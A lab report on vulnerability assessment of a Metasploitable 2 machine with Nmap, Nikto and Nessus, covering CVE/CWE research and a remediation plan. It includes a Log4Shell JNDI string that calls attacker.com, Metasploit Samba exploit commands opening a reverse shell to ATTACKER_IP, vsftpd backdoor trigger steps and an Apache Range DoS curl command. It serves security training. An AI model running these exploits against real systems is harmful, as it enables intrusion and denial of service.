Vulnerability Research and Analysis

Table of Contents

1. TOC

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Laboratory Context and Objectives

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This laboratory presents a comprehensive methodology for identifying and analyzing vulnerabilities in controlled environments. The objective is to master professional scanning and security audit tools while developing an in-depth understanding of standardized vulnerability databases.

Learning Objectives

• Conduct targeted searches in CWE and CVE databases
• Perform automated network scans using Nmap and Nikto
• Deploy and configure a professional audit platform (Nessus)
• Analyze and classify vulnerabilities according to the CVSS framework
• Produce technical remediation recommendations

Technical Environment

Component	Specification
Audit Platform	Kali Linux 2023+
Test Target	Vulnerable machine (Metasploitable 2)
Scanning Tools	Nmap 7.x, Nikto 2.x
Analysis Platform	Tenable Nessus Professional

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Part 1: Vulnerability Database Exploitation

1.1 CWE Database Research (Common Weakness Enumeration)

The CWE database maintained by MITRE catalogs common software weakness types. This section presents an analysis of vulnerabilities related to the SMB (Server Message Block) protocol.

Research Methodology

1. Access the CWE MITRE portal (https://cwe.mitre.org)
2. Perform keyword search “SMB”
3. Analyze results and identify relevant CWEs
4. Document relationships between CWE and attack vectors

SMB Research Results

The research reveals several critical vulnerability classes:

Identifier	Classification	Primary Impact
CWE-20	Improper Input Validation	Exploitation via malformed SMB packets
CWE-200	Exposure of Sensitive Information	Information leakage via obsolete protocols (SMBv1)
CWE-287	Improper Authentication	Bypass or absence of authentication
CWE-522	Insufficiently Protected Credentials	Transmission of credentials in clear text or weakly encrypted
CWE-693	Protection Mechanism Failure	Insufficient security mechanisms (SMBv1, NTLMv1)

Detailed Analysis: CWE-287 – Improper Authentication

Technical Description

The SMB service does not properly validate authentication attempts, allowing a malicious actor to access shared resources without providing valid credentials or by exploiting weak authentication mechanisms.

Exploitation Vectors

• Null authentication (null session) enabled on SMB server
• Excessive permissions on network shares (access “Everyone”)
• Use of obsolete authentication protocols (NTLMv1)
• Absence of server-side credential validation

Security Consequences

• Unauthorized access to network shares and file systems
• Exfiltration of sensitive data (documents, databases)
• Lateral movement within enterprise network
• Privilege escalation via exploitation of weak configurations

Mitigation Measures

• Complete deactivation of SMBv1 and migration to SMBv3
• Implementation of strong authentication (Kerberos, NTLMv2 minimum)
• Application of least privilege principle on ACLs
• Monitoring of suspicious authentication attempts

Figure 1.1: CWE MITRE search interface - Results for “SMB”

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1.2 CVE Database Research (Common Vulnerabilities and Exposures)

Case Study: CVE-2021-44228 (Log4Shell)

This section analyzes one of the most critical vulnerabilities recently discovered, demonstrating the importance of continuous security monitoring.

Vulnerability Technical Sheet

Attribute	Value
CVE Identifier	CVE-2021-44228
Common Name	Log4Shell
Affected Component	Apache Log4j2 versions 2.0-beta9 to 2.15.0 (excluded)
Classification	Remote Code Execution (RCE) via JNDI Injection
CVSS v3.1 Score	10.0 (Critical)
Publication Date	December 9, 2021

Technical Vulnerability Analysis

The Log4j2 library allows variable expansion in log messages via the syntax ${prefix:name}. The JNDI (Java Naming and Directory Interface) functionality was not properly filtered, allowing arbitrary code execution.

Exploitation Vector

// User-controlled data injected into logs
String userInput = "${jndi:ldap://attacker.com/malicious}";

// Log4j automatically resolves the JNDI expression
logger.info("User input: {}", userInput);

// Result: LDAP connection to attacker's server
// and loading of malicious Java bytecode

Attack Chain

1. Attacker injects a JNDI string into a controlled field (HTTP header, form, etc.)
2. Application logs this data via Log4j2
3. Log4j resolves the JNDI expression and contacts malicious LDAP server
4. LDAP server returns reference to malicious Java class
5. Log4j loads and executes arbitrary bytecode
6. Attacker obtains code execution in application context

Patched Versions

Version	Status	Protection Measure
2.15.0	Initial patch	JNDI disabled by default via log4j2.enableJndi=false
2.16.0	Reinforced patch	Complete removal of JNDI Lookup support
2.17.0+	Recommended	Additional security fixes
2.12.2, 2.3.1	Maintained branches	Backport of fixes for older versions

CVE MITRE vs NVD (NIST) Comparison

The CVE MITRE database provides the identifier and initial description, while NVD enriches this data with exploitability and impact information.

Dimension	CVE MITRE	NVD (NIST)
Description	Textual, concise	Detailed with technical references
CVSS Score	Provided	Calculated and justified with complete vector
Public Exploits	Not referenced	Database of linked exploits
Vulnerable Configurations	Not specified	Detailed CPE configurations
Remediations	Generic links	Detailed procedures, workarounds

CVSS v3.1 Vector (NVD)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Vector Breakdown:

• AV:N (Attack Vector: Network) - Exploitation via network without local access
• AC:L (Attack Complexity: Low) - No particular conditions required
• PR:N (Privileges Required: None) - No authentication necessary
• UI:N (User Interaction: None) - Automatic exploitation without interaction
• S:C (Scope: Changed) - Impact beyond vulnerable component
• C:H (Confidentiality: High) - Total compromise of confidentiality
• I:H (Integrity: High) - Total compromise of integrity
• A:H (Availability: High) - Total compromise of availability

Figure 1.2: Detailed sheet of CVE-2021-44228 in NVD database

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Part 2: Network Scanning and Vulnerability Detection

2.1 Network Reconnaissance with Nmap

Nmap (Network Mapper) is the reference tool for network mapping and service detection. This section presents a comprehensive scanning methodology.

Scanning Commands

Complete Scan with Version and OS Detection

# Aggressive scan with OS detection and versions
nmap -sV -O -A -p- <TARGET_IP>

# Detailed options:
# -sV: Service version detection
# -O: Operating system detection
# -A: Enable all advanced NSE scripts
# -p-: Scan all ports (1-65535)

Vulnerability Scan with NSE Scripts

# Execute vulnerability detection scripts
nmap --script vuln <TARGET_IP>

# Targeted scan on specific vulnerabilities
nmap --script "smb-vuln-*" <TARGET_IP>

Figure 2.1: Nmap scan results on target

Analysis of Exposed Services

The scan reveals several potentially vulnerable services:

Port	Protocol	Service	Version	Risk Level	Justification
21/tcp	FTP	vsftpd	2.3.4	Critical	Known backdoor (CVE-2011-2523)
22/tcp	SSH	OpenSSH	4.7p1 Debian	Medium	Obsolete version, minor vulnerabilities
80/tcp	HTTP	Apache httpd	2.2.8 (Ubuntu)	High	Multiple CVEs, range header DoS
139/tcp	NetBIOS-SSN	Samba smbd	3.X	Critical	RCE possibility (CVE-2007-2447)
445/tcp	Microsoft-DS	Samba smbd	3.X	Critical	Same vulnerability as port 139
3306/tcp	MySQL	MySQL	5.0.51a-3ubuntu5	Medium	Old version, authentication flaws
5432/tcp	PostgreSQL	PostgreSQL	8.3.0 - 8.3.7	Medium	Obsolete version
8009/tcp	AJP13	Apache Jserv	1.3	Medium	Ghostcat vulnerability possible

Technical Observations

• Exposure of administrative services (MySQL, PostgreSQL) without network restriction
• Largely obsolete software versions (>10 years for some components)
• Presence of clear-text protocols (FTP, Telnet potentially)
• Default configuration not hardened (exposed version banners)

Figure 2.2: Detail of services and versions identified by Nmap

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2.2 Web Security Audit with Nikto

Nikto is an open-source web vulnerability scanner for identifying configuration flaws and obsolete components.

Scan Execution

# Standard web server scan
nikto -h http://<TARGET_IP>

# Advanced options
nikto -h http://<TARGET_IP> -Tuning 123bde -Format htm -output report.html

# Tuning options:
# 1: Interesting files
# 2: Misconfiguration
# 3: Information disclosure
# b: Software injection
# d: Command injection
# e: XSS/Script injection

Summary of Detected Vulnerabilities

Identified Vulnerability	Type	Associated CVE	CVSS Score	Criticality
Apache 2.2.8 (Ubuntu)	Obsolete software	CVE-2011-3192	7.8	High
PHP 5.2.4 exposed	Vulnerable version	CVE-2007-4887	10.0	Critical
Accessible phpinfo() file	Information disclosure	CVE-2007-0405	5.0	Medium
Directory listing enabled	Misconfiguration	N/A	4.0	Medium
HTTP TRACE method enabled	Cross-Site Tracing (XST)	CVE-2004-2763	4.3	Medium
PHP Easter Eggs	Information disclosure	OSVDB-12184	2.0	Low
phpMyAdmin accessible	Admin interface exposure	CVE-2009-1151	7.5	High
Absence of security headers	Misconfiguration	N/A	3.0	Low

Detailed Analysis by Vulnerability

1. Apache 2.2.8 - Range Header Vulnerability (CVE-2011-3192)

• Impact: Denial of service via excessive memory consumption
• Mechanism: Exploitation of HTTP Range header to cause resource exhaustion
• Available Exploit: Metasploit module auxiliary/dos/http/apache_range_dos

2. PHP 5.2.4 - Multiple Critical Vulnerabilities (CVE-2007-4887)

• Impact: Remote code execution (RCE)
• Mechanism: Buffer overflow in chunk_split() function
• Available Exploit: Exploit-DB ID 4410

3. Publicly Accessible phpinfo() File

• Impact: Disclosure of complete PHP server configuration
• Exposed Information:
  • System paths and server directory tree
  • Environment variables and potential credentials
  • Loaded extensions and exact versions
  • Security parameters (disabled_functions, open_basedir)

4. phpMyAdmin Without Access Restriction (CVE-2009-1151)

• Impact: Brute force authentication, exploitation of phpMyAdmin vulnerabilities
• Risk: MySQL administration interface accessible from Internet
• Exploit: Attempted connection with default credentials (root/root, admin/admin)

Figure 2.3: Detailed report of Nikto scan

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2.3 Correlation with Exploit Databases

This section presents the search for public exploits for identified vulnerabilities.

Publicly Available Exploits

CVE	Public Exploit	Source	Attack Type	Exploitability Level
CVE-2011-3192	Available	Metasploit	Apache DoS (Range header)	High (no authentication)
CVE-2007-4887	Available	Exploit-DB #4410	PHP RCE (chunk_split overflow)	High (specific conditions)
CVE-2009-1151	Available	Exploit-DB #8921	phpMyAdmin auth bypass	Medium (specific version)
CVE-2004-2763	Available	Multiple	XST (Cross-Site Tracing)	Low (requires prior XSS)
CVE-2007-2447	Available	Metasploit	Samba RCE (username field)	Critical (no authentication)

Exploitation Example: Samba CVE-2007-2447

# Using Metasploit module
msfconsole
use exploit/multi/samba/usermap_script
set RHOST <TARGET_IP>
set PAYLOAD cmd/unix/reverse
set LHOST <ATTACKER_IP>
exploit

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2.4 Corrective Measures and Recommendations

This section presents technical remediations in priority order.

Critical Actions (deadline: 24-48h)

1. Apache Server Update

# Ubuntu/Debian
apt-get update
apt-get install apache2=2.4.52-1ubuntu4

# Version verification
apache2 -v

2. PHP Update

# Migration to PHP 8.1 (current stable version)
apt-get install php8.1 php8.1-cli php8.1-common

# Deactivate PHP 5.2
a2dismod php5
a2enmod php8.1
systemctl restart apache2

3. Removal of Sensitive Information Files

# Remove phpinfo.php
rm /var/www/html/phpinfo.php

# Verify absence of other test files
find /var/www -name "test.php" -o -name "info.php" -delete

4. Samba Update

# Install latest stable version
apt-get install samba=2:4.15.5+dfsg-0ubuntu1

# Restart services
systemctl restart smbd nmbd

Configuration Actions (deadline: 1 week)

5. Disable HTTP TRACE Method

# File: /etc/apache2/apache2.conf
TraceEnable Off

# Apply configuration
systemctl reload apache2

6. Restrict Access to phpMyAdmin

# File: /etc/apache2/conf-available/phpmyadmin.conf
<Directory /usr/share/phpmyadmin>
    # IP restriction
    Require ip 192.168.1.0/24
    Require ip 10.0.0.0/8

    # Additional HTTP Basic authentication
    AuthType Basic
    AuthName "Restricted Area"
    AuthUserFile /etc/apache2/.htpasswd
    Require valid-user
</Directory>

7. Disable Directory Listing

# File: /etc/apache2/sites-available/000-default.conf
<Directory /var/www/html>
    Options -Indexes +FollowSymLinks
    AllowOverride None
    Require all granted
</Directory>

8. Implement HTTP Security Headers

# File: /etc/apache2/conf-available/security-headers.conf
<IfModule mod_headers.c>
    Header always set X-Frame-Options "SAMEORIGIN"
    Header always set X-Content-Type-Options "nosniff"
    Header always set X-XSS-Protection "1; mode=block"
    Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
    Header always set Referrer-Policy "strict-origin-when-cross-origin"
    Header always set Content-Security-Policy "default-src 'self'"
</IfModule>

# Enable module and configuration
a2enmod headers
a2enconf security-headers
systemctl reload apache2

Hardening Actions (deadline: 1 month)

9. Disable Unnecessary Services

# Identify active services
systemctl list-units --type=service --state=running

# Disable unused services
systemctl stop vsftpd
systemctl disable vsftpd

10. Configure Application Firewall (UFW)

# Enable firewall
ufw enable

# Basic rules
ufw default deny incoming
ufw default allow outgoing

# Allow only legitimate services
ufw allow 22/tcp comment 'SSH'
ufw allow 443/tcp comment 'HTTPS'

# Apply
ufw reload

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Part 3: Professional Analysis with Nessus

3.1 Tenable Nessus Deployment

Nessus is the most widely used vulnerability audit platform in enterprise environments. This section presents its installation and configuration.

Installation on Kali Linux

# Download Debian package
wget https://www.tenable.com/downloads/api/v1/public/pages/nessus/downloads/[VERSION]/Nessus-[VERSION]-debian10_amd64.deb

# Install package
dpkg -i Nessus-[VERSION]-debian10_amd64.deb

# Resolve dependencies if necessary
apt-get install -f

Figure 3.1: Download of Nessus installer

Service Startup and Verification

# Start Nessus daemon
systemctl start nessusd

# Enable at boot
systemctl enable nessusd

# Verify status
systemctl status nessusd

# Verify network listening
netstat -tlnp | grep 8834

Figure 3.2: Nessus package installation completed

Web Interface Access

The administration interface is accessible at https://localhost:8834. The service uses a self-signed certificate that must be accepted.

Figure 3.3: Nessus service started and operational

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3.2 Initial Configuration and Activation

Obtaining a Nessus Essentials License

Nessus offers a free version (Essentials) limited to 16 IP addresses, sufficient for laboratory audits.

Activation Process

1. Retrieve a temporary email address on temp-mail.org

Figure 3.4: Generation of temporary email address

1. Register on Tenable site with temporary email
2. Receive activation code by email

Figure 3.5: Nessus activation code received by email

1. Create platform administrator credentials

Figure 3.6: Configuration of administrator credentials

Initial Plugin Download

After activation, Nessus automatically downloads its vulnerability plugin database (approximately 2 GB). This process may take 15-30 minutes depending on network connection.

Plugin Categories

• Network services: Service and version detection
• Web applications: Application vulnerabilities (XSS, SQL injection, etc.)
• Databases: DBMS flaws (MySQL, PostgreSQL, Oracle, etc.)
• Operating systems: OS vulnerabilities (Windows, Linux, Unix)
• Policy compliance: Compliance verification (CIS, PCI-DSS, etc.)

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3.3 Scan Configuration and Execution

Creating a New Scan

The Nessus interface offers several scan templates adapted to different contexts.

Figure 3.7: Interface for creating a new scan

Available Templates

Template	Usage	Estimated Duration	Intrusion Level
Basic Network Scan	Non-intrusive general scan	30-60 min	Low
Advanced Scan	Custom configuration	Variable	Configurable
Credentialed Patch Audit	Compliance audit with credentials	60-120 min	None
Web Application Tests	Specific web application tests	30-90 min	Medium
PCI Quarterly External Scan	PCI-DSS compliance	45-90 min	Low

Scan Configuration

Basic Parameters

• Scan name: “Metasploitable Vulnerability Assessment”
• Target: 192.168.1.100
• Type: Basic Network Scan
• Schedule: Immediate execution

Advanced Parameters (optional)

• Port scan range: 1-65535 (all ports)
• Network port scanners: TCP SYN scan
• Port scan speed: Normal (default)
• Max simultaneous checks: 5 (default)

Figure 3.8: Configuration of scan parameters

Scan Launch and Monitoring

Once configured, the scan is launched and can be monitored in real-time via the web interface. Intermediate metrics are displayed:

• Completion percentage
• Number of scanned ports
• Number of detected vulnerabilities (by criticality)
• Elapsed and estimated remaining time

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3.4 Results Analysis

Vulnerability Overview

Figure 3.9: Main results dashboard

Vulnerability Distribution by Criticality

Criticality Level	Number	Percentage	CVSS Definition
Critical	10	20%	CVSS 9.0-10.0
High	32	64%	CVSS 7.0-8.9
Medium	8	16%	CVSS 4.0-6.9
Low	0	0%	CVSS 0.1-3.9
Info	15	-	CVSS 0.0
Total	50	100%	-

Figure 3.10: Graphical distribution of vulnerabilities by severity level

Quantitative Analysis

The analyzed machine presents an extremely high risk profile:

• 42 vulnerabilities of “Critical” or “High” level (84% of total)
• 10 vulnerabilities allowing remote code execution (RCE)
• Obsolete services dating from more than 10 years
• Default configuration not hardened

Technical Conclusion: The audited system corresponds to a deliberately vulnerable environment (Metasploitable type), designed for offensive security training.

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Top 3 Critical Vulnerabilities

Figure 3.11: List of detected critical vulnerabilities

1. Samba “username map script” Command Execution

Attribute	Value
Plugin ID	25216
CVE	CVE-2007-2447
CVSS Base Score	10.0 (Critical)
CVSS Vector	AV:N/AC:L/Au:N/C:C/I:C/A:C
Affected Port	139/tcp, 445/tcp
Service	Samba smbd 3.0.20-Debian

Technical Description

The MS-RPC function of Samba allows shell command injection via the unsanitized username field. An attacker can execute arbitrary code with Samba daemon privileges (typically root).

Proof of Concept

# Exploitation via Metasploit
use exploit/multi/samba/usermap_script
set RHOST 192.168.1.100
set PAYLOAD cmd/unix/reverse
set LHOST <ATTACKER_IP>
exploit

# Expected result: root shell on target

Recommended Solution

• Immediate update to Samba >= 3.0.25rc3
• If update is impossible: complete deactivation of SMB service
• Network isolation pending remediation

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2. vsftpd 2.3.4 Backdoor Command Execution

Attribute	Value
Plugin ID	53671
CVE	CVE-2011-2523
CVSS Base Score	10.0 (Critical)
CVSS Vector	AV:N/AC:L/Au:N/C:C/I:C/A:C
Affected Port	21/tcp
Service	vsftpd 2.3.4

Technical Description

A backdoor was introduced in version 2.3.4 of vsftpd available on the official site between February and July 2011. Authentication with a username containing :) activates a root shell on port 6200.

Proof of Concept

# FTP connection with backdoor trigger
telnet 192.168.1.100 21
USER test:)
PASS anything

# Connection to backdoor shell
telnet 192.168.1.100 6200
# Root shell available

Recommended Solution

• Immediate replacement with legitimate version of vsftpd >= 3.0.3
• Verification of integrity of all system binaries
• Complete system audit to detect potential compromises

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3. Apache HTTP Server Byte Range DoS

Attribute	Value
Plugin ID	55976
CVE	CVE-2011-3192
CVSS Base Score	7.8 (High)
CVSS Vector	AV:N/AC:L/Au:N/C:N/I:N/A:C
Affected Port	80/tcp, 443/tcp
Service	Apache httpd 2.2.8

Technical Description

Apache 2.2.x before 2.2.20 does not properly limit the number of ranges requested in the HTTP Range header, allowing server memory exhaustion via specially crafted requests.

Proof of Concept

# Send malformed Range request
curl -H "Range: bytes=0-1024,1025-2048,2049-3072,..." \
     --max-time 5 http://192.168.1.100/largefile.bin

# Repeat request to consume memory

Recommended Solution

• Update to Apache >= 2.2.20 or >= 2.4.1
• Apply mod_reqtimeout patch as temporary mitigation
• Implement rate limiting at reverse proxy level

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Detailed Remediations

Figure 3.12: Remediation recommendations by Nessus

Prioritized Remediation Plan

The table below presents corrective actions classified by priority according to risk score (criticality × exploitability).

Priority	Action	Component	Deadline	Operational Impact
P0	Samba update	smbd 3.0.20 → 4.15+	24h	SMB service interruption (30 min)
P0	vsftpd replacement	2.3.4 → 3.0.3+	24h	FTP service interruption (15 min)
P1	Apache update	2.2.8 → 2.4.52+	48h	HTTP service interruption (45 min)
P1	PHP migration	5.2.4 → 8.1.x	48h	Application compatibility testing required
P2	OpenSSH update	4.7p1 → 8.9p1+	1 week	SSH interruption (10 min)
P2	MySQL hardening	Secure configuration	1 week	No interruption
P3	WAF implementation	mod_security2	2 weeks	No interruption
P3	IDS deployment	Snort/Suricata	1 month	Network configuration required

Complementary Configuration Actions

In parallel with software updates, the following measures must be implemented:

1. Network Segmentation
   • Server isolation in dedicated VLAN
   • Strict ACLs on perimeter firewall
   • Prohibition of direct access from Internet
2. System Hardening
   • Deactivation of unnecessary services
   • Application of CIS Linux benchmarks
   • Configuration of SELinux/AppArmor in enforcing mode
3. Monitoring and Detection
   • Deployment of HIDS agent (OSSEC/Wazuh)
   • Log centralization (Syslog/ELK)
   • Alerting on exploitation attempts
4. Patch Management
   • Implementation of patch management process
   • Testing in pre-production environment
   • Automated deployment via Ansible/Puppet

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3.5 History and Reports

Figure 3.13: Interface of executed scan history

Reporting Functionality

Nessus allows export of results in several formats:

• PDF: Executive report for management
• HTML: Detailed technical report
• CSV: Import into vulnerability management tools
• Nessus DB: Proprietary format for archiving

Continuous Audit Workflow Example

Initial scan (D0) → Vulnerability identification
     ↓
Prioritization (D+1) → Classification by criticality/impact
     ↓
Remediation (D+2 to D+30) → Patch deployment
     ↓
Verification scan (D+31) → Remediation validation
     ↓
Compliance report → Security posture documentation

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Conclusion and Lessons Learned

Results Summary

The security audit conducted identified 50 distinct vulnerabilities on the target system, including:

• 10 critical vulnerabilities (CVSS 9.0-10.0) allowing remote code execution without authentication
• 32 high vulnerabilities (CVSS 7.0-8.9) mainly related to obsolete software versions
• 8 medium vulnerabilities (CVSS 4.0-6.9) resulting from non-hardened configurations

Main Attack Vectors Identified

1. Exploitation of known backdoors (vsftpd, Samba)
2. Abuse of obsolete versions with available public exploits
3. Disclosure of sensitive information facilitating reconnaissance
4. Absence of defense-in-depth mechanisms

Technical Skills Acquired

This laboratory allowed development of the following competencies:

Vulnerability Research

• Exploitation of CVE, CWE and NVD databases
• Understanding of CVSS scoring system
• Search for public exploits in Exploit-DB and Metasploit

Scanning Tools

• Mastery of Nmap for network mapping
• Use of Nikto for web server audit
• Deployment and configuration of Nessus Professional

Analysis and Remediation

• Vulnerability prioritization according to impact and exploitability
• Proposal of technical corrective measures
• Understanding of operational deadlines and impacts

Strategic Recommendations

For the Organization

1. Implement formalized vulnerability management process
2. Establish remediation SLAs by criticality level
3. Deploy automated weekly scans
4. Train teams on security hardening best practices

For Training Continuity

Recommended next steps include:

• Practical exploitation laboratory with Metasploit Framework
• Post-compromise forensic analysis
• Development of detection rules (Snort/Suricata)
• Participation in Bug Bounty programs

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Technical References

Standards and Frameworks

• NIST SP 800-115 - Technical Guide to Information Security Testing and Assessment
• OWASP Testing Guide v4.2
• PTES (Penetration Testing Execution Standard)
• CIS Benchmarks for Linux Server Hardening
• MITRE ATT&CK Framework

Vulnerability Databases

• NIST National Vulnerability Database (NVD)
• MITRE CVE List
• MITRE CWE List
• Exploit Database
• Packet Storm Security

Tool Documentation

• Nmap Reference Guide
• Nikto Documentation
• Nessus User Guide
• Metasploit Unleashed

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Laboratory Conducted by: Issa MENTA
Date of Completion: 2026
Environment: Kali Linux 2023.4 / Metasploitable 2
Category: SOC & Detection Engineering
Difficulty Level: Intermediate